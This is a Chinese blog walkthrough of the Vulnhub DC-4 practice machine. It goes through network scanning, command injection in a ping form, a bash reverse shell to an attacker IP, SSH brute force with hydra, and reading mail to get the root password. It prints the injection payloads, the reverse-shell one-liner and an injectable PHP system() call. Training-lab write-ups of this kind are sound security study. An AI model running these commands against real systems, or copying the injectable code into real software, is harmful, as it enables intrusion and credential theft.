☰
DC-4靶机实战:命令注入到SSH横向移动与Linux提权全解析
2026/10/14 15:41:08 网站建设 项目流程

Vulnhub上的DC系列靶机,一直是我练手提权思路的首选环境。DC-4这台的路径非常清晰:从Web后台的命令注入点到反弹Shell,再靠系统内置的密码字典横向移动到SSH用户,最后通过邮件线索拿到root密码。整个过程没有复杂的0day也没有内核漏洞,但每一步都能逼着你把信息收集做到位。我完整刷完这台靶机大概用了一个下午,中间踩了几个不算难但很烦的坑。这篇文章就把我实际打靶的完整过程拆开揉碎写一遍,包括当时为什么选这条路、哪些环节容易卡住、以及拿到Shell之后该怎么梳理下一步。推荐给已经做过两三类基础靶机,想系统练一遍Web注入和提权的朋友参考。

1. 靶机部署与网络边界侦察

1.1 靶机导入与网络配置要点

DC-4的镜像文件是一个虚拟机格式,下载后直接用虚拟机平台导入即可。导入后先别急着开机,第一件事是把网络模式固定下来。我习惯把靶机和攻击机都放在同一个NAT网段,这样既不需要额外配置路由,也不会因为桥接模式引入局域网里其他真实设备的干扰。至于host-only模式,也可以,但需要注意DHCP服务正常。

开机后靶机会通过DHCP拿地址,这个地址不一定每次都一样。我踩过的一个小坑是:第一次开机时靶机IP是192.168.1.12,重启一次后变成192.168.1.15,我在笔记里还写着旧的地址,结果后面所有扫描全部落空。所以强烈建议记录靶机的MAC地址,这样每次识别都靠MAC过滤,不会认错机器。

另外,导入镜像后建议给靶机做一次快照。万一中途把系统配置改崩了,或者注入命令把服务挂掉,直接恢复快照就能回到初始状态。这个习惯在打更复杂的靶机时尤其有用。

1.2 存活探测与端口扫描思路

存活探测我习惯用nmap配合ping扫描,一条命令把当前网段捋一遍:

nmap -sn 192.168.1.0/24

结果里会出现攻击机自身、网关,还有一个陌生地址,那个基本就是靶机。这里要说一下,靶机在NAT模式下通常只会暴露当前网段,所以扫存活比直接猜IP更靠谱。

确认IP后,先做一次全端口扫描:

nmap -sS -sV -p- 192.168.1.15

DC-4的结果很干净,只有22和80两个端口开着。SSH和Web服务,这基本就框定了渗透方向:Web入口先摸一遍,SSH大概率是后面横向移动时用的通道。很多人一看到22端口开放就急着试弱口令,这其实没必要,等我们从Web侧拿到足够信息后再回头来找SSH,效率会高很多。

扫描输出里还能看到Web服务的中间件信息。确认是常见的Apache环境后,我一般会顺手再跑一次目录枚举,但DC-4并不依赖隐藏目录作为入口,反而是后台功能点本身藏了问题。

2. Web入口侦察与命令注入点分析

2.1 登录后台与功能点梳理

打开80端口,页面上是一个登录框,没有任何注册入口和提示。这时候我习惯先看页面源码,再看提交方式。用开发者工具随便填一组账号密码提交,能看到请求参数名和跳转逻辑。DC-4的后台弱口令其实很典型,我试了admin和常见密码组合,很快进入了管理界面。

进去之后页面功能非常少,只有一个Command入口。这个命令执行页面,传参形式是一个可以填IP的输入框,提交后页面返回类似ping的输出结果。看到这种界面,第一反应就应该是命令注入。原因是这类功能在设计时,开发人员往往直接调用系统命令来执行用户输入的参数,比如:

<?php system("ping -c 3 " . $_POST['ip']); ?>

一旦用户输入里带上了Shell元字符,系统命令就会多执行出来一条甚至多条指令。

这里也提醒一下,目录爆破虽然重要,但优先把页面功能点全部点一遍,往往能省下很多无意义的扫描时间。DC-4的入口就在明面上,不需要去翻那些偏僻目录。

2.2 命令注入的判定与符号测试

确认注入点之前,先输入一个普通内网IP,比如127.0.0.1,页面正常返回ping结果。接下来再输入:

127.0.0.1; id

返回结果里出现了当前用户的id信息,这就证明分号后面的命令也被系统执行了。命令注入成立。

常见的注入符号,我整理了这样一个表:

注入符号预期效果实战备注
;分号后命令依次执行最常用,成本最低
|管道符,左侧输出交给右侧命令适合结合读取文件
&&左侧执行成功,右侧才执行条件触发场景
||左侧执行失败,右侧执行偶尔遇到
$(command)命令替换适合无回显场景盲打

在DC-4里,分号和管道符都能用。我当时的习惯是先用分号测试,因为PHP的system函数在拼接命令时,分号最容易被直接透传。如果目标环境过滤了分号,再试管道符和逻辑或,多一层思路就多一条出路。

3. 反弹Shell与敏感数据收集

3.1 反弹Shell的构建与稳定化

有了命令执行能力,下一步不是继续在HTTP请求里敲命令,而是尽快把交互式Shell拉出来。反弹Shell的方式有很多,核心是要匹配目标机上已有的工具。DC-4是Debian系环境,bash和nc都齐,所以最省事的做法是:

攻击机先监听端口:

nc -lvnp 4444

然后在注入点输入:

127.0.0.1; bash -i >& /dev/tcp/192.168.1.10/4444 0>&1

这里攻击机IP要根据自己环境改,我当时那台的地址是192.168.1.10。命令执行后,攻击机这边立刻收到了目标机的Shell。

拿到Shell第一步不是急着翻目录,而是先做三件事:whoami确认当前用户、id确认用户组和权限范围、pwd确认当前位置。DC-4初始Shell是www-data,权限属于Web服务用户,能读大部分文件,但改不了系统关键配置。

升级为可交互终端用的是Python:

python3 -c 'import pty; pty.spawn("/bin/bash")'

然后再配合Ctrl+Z挂起、stty设置完成终端尺寸和回显,Shell用起来才顺手。这一步是很多新手容易跳过的环节,结果后面一执行vim或者需要上下翻页的命令就各种乱码。

3.2 用户枚举与密码字典发现

拿到www-data权限后,我开始系统梳理目标机器上的用户信息。最直接的是查看可登录Shell的用户:

cat /etc/passwd | grep "/bin/bash"

结果里有root、jim、charles。同时看home目录,确认jim和charles对应的账户文件夹都存在。这说明后续要么横向移动,要么提权,目标对象大概率就是这两个普通用户。

在Web目录和home目录之间翻找时,我发现了一个old备份目录,里面装着一个密码字典文件。这个文件不是网上下的通用字典,而是DC-4内置的密码集合。这个发现基本决定了后续路线:直接用字典去爆破SSH,比手工猜密码靠谱得多。

这里分享一个信息收集的经验:不要只盯着一个目录翻,Web根目录、上传目录、用户home目录、tmp目录、备份目录都要看一遍。DC-4把字典放在一个看似不起眼的备份路径里,如果当时我扫完Web根目录就走了,后面提权大概率会卡很久。

4. SSH横向移动与root接管

4.1 基于字典的SSH口令爆破

把目标机上的密码字典拖回攻击机后,我整理出了两个用户名jim和charles,然后用hydra对SSH服务做一轮爆破:

hydra -L user.txt -P password.txt ssh://192.168.1.15

hydra跑得很快,结果里jim用户命中了其中一个密码,而charles没有命中。这说明系统里留给我们的突破口就是jim账号。这一步的逻辑很清楚:字典文件就是系统设计者埋好的钥匙,配合SSH作为通道完成横向移动。

拿到密码后,直接通过SSH登录:

ssh jim@192.168.1.15

到这里,我们已经完成了从Web注入到系统普通用户的转换。这个转换的意义在于:www-data只是Web服务的运行账号,很多关键的操作和读取都受限制,而jim是真实用户,能读取自己的家目录、邮件,并执行sudo相关的检查,权限范围立刻扩大了一大圈。

4.2 邮件信息提取与root密码获取

登录jim之后,我习惯性地先跑了一下sudo -l,确认当前用户的sudo配置。在DC-4上这一步的返回值信息有限,真正关键的信息藏在邮件里。

jim的邮箱文件位于:

/var/mail/jim

用cat读取后,发现里面有一封来自root账户的邮件,内容提到root密码相关的线索。邮件里没有直接把root密码打印出来,而是给出了一句提示,顺着这句提示能组合出正确的root密码。

这里想特别说明一个细节:很多人刷靶机时只盯着目录和配置文件,完全忽略系统内部邮件。实际上在真实环境中,系统日志、邮件、历史命令、定时任务脚本往往藏着重大的信息泄漏。DC-4的价值之一,就是逼着你把信息收集的面铺得更宽。

拿到root密码后,用su切换:

su root

输入密码后成功拿到root权限。进入root家目录,看到最终的flag文件并读取内容。至此,DC-4这台靶机被完整渗透。

5. 实战避坑与经验复盘

5.1 三个常见卡点与排查思路

第一次打DC-4的人容易卡在三个地方。

第一个是登录后台后不细看页面功能。很多人的第一反应是跑目录扫描,结果扫了半天没扫出东西。DC-4的重点在后台的Command功能上,只要你点进去输入一个IP,注入点就暴露无遗了。

第二个是拿到www-data后不知道下一步做什么。拿到Shell只是起点,信息收集才是重头戏。要养成随手查看用户目录、登录Shell用户列表、备份文件、邮件的习惯。DC-4的密码字典和root密码线索,分别藏在不同层级的文件里,缺少哪一步都会卡住。

第三个是提权方向选错。拿到jim权限后,如果不看邮件而是埋头找内核漏洞,会浪费大量时间。优先看系统内部线索,再看sudo配置,最后才考虑系统漏洞,这是提权通用顺序。DC-4把密码线索放在邮件里,也是在教大家观察系统的“内部通信”。

5.2 高频问题速查与工具使用习惯

打这台靶机用到的工具并不多:nmap做端口扫描,hydra做SSH爆破,nc接收反弹Shell,python3做终端增强。工具链越短,越容易把注意力放在思路上。

我整理了一下刷DC-4过程中可能遇到的问题和对应思路:

现象可能原因排查方向
扫描不到靶机网络模式不一致或DHCP没起来统一NAT模式,重启靶机,用MAC定位
注入命令无回显拼接符号被过滤换管道符、逻辑或、命令替换
反弹Shell不稳定终端未做交互配置用pty模块升级交互Shell
SSH爆破不出结果字典路径或用户列表不对确认字典来自目标机,用户名大小写精准
提权路线迷茫遗漏系统内部文件检查邮件、历史命令、备份目录、sudo配置

习惯上,我推荐整个打靶过程全程做笔记。不用写得很好看,但IP、注入点、测试过的payload、字典路径、用户列表一定要记清楚。我在打DC-4时因为换了个终端就忘了之前试过哪个符号组合,结果又花了一轮重新测试。好记性不如烂笔头,这句话在渗透里尤其适用。

另外一个小技巧:拿到www-data权限后,如果要查看比较大的文件,比如密码字典,建议直接cat看内容再拉回攻击机保存,不要直接在目标机上用vim打开,避免交互终端卡死。拖回攻击机后还能配合grep、sort、uniq做清洗,比在目标机里折腾舒服得多。

我个人打完DC-4后最大的体会是:这台靶机并没有考任何冷门漏洞,而是把信息收集、命令注入、横向移动、提权思路串联成了一条完整的攻击链。它最值得学习的地方不在于某一条命令有多精巧,而在于系统内部的那条线索链如何引导你一路走到root。如果你也正在刷DC系列,我建议每题都试着把自己的决策过程写下来,而不是单纯追求拿到flag的速度。刷完DC-4之后,再去回看那些依赖通用漏洞的靶机,你会发现思路完全不一样了。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询